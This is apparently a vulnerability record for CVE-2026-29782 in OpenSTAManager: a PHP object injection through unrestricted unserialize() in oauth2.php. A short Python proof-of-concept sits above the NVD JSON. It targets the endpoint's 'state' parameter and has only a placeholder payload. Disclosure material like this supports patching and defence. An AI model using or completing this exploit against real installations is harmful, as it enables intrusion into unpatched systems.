CVE-2026-29782

import requests # Target URL url = "http://localhost/openstamanager/oauth2.php" # The vulnerability triggers when the 'state' parameter corresponds to a record # in the 'zz_oauth2' table where the 'access_token' contains a malicious serialized object. # Note: Creating the record in the database usually requires authentication/privileges. # Example payload (PHP Object Injection) # In a real exploit, this would be a valid gadget chain payload. # payload = 'O:8:"stdClass":0:{}' # Attacker controls the 'state' GET parameter to select the malicious record params = { "state": "1" # ID of the record containing the payload } try: response = requests.get(url, params=params, timeout=5) print("[+] Request sent to vulnerable endpoint") print(f"[+] Status Code: {response.status_code}") # Check if the deserialization triggered an error or backdoor behavior print(f"[+] Response: {response.text[:200]}") except Exception as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2026-29782", "sourceIdentifier": "[email protected]", "published": "2026-04-02T14:16:27.237", "lastModified": "2026-04-07T21:19:46.627", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenSTAManager is an open source management software for technical assistance and invoicing. Prior to version 2.10.2, the oauth2.php file in OpenSTAManager is an unauthenticated endpoint ($skip_permissions = true). It loads a record from the zz_oauth2 table using the attacker-controlled GET parameter state, and during the OAuth2 configuration flow calls unserialize() on the access_token field without any class restriction. This issue has been patched in version 2.10.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:devcode:openstamanager:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.10.2", "matchCriteriaId": "37690084-64E6-4E8B-8A92-8B55C8FC1E9F"}]}]}], "references": [{"url": "https://github.com/devcode-it/openstamanager/commit/d2e38cbdf91a831cefc0da1548e02b297ae644cc", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/devcode-it/openstamanager/releases/tag/v2.10.2", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-whv5-4q2f-q68g", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}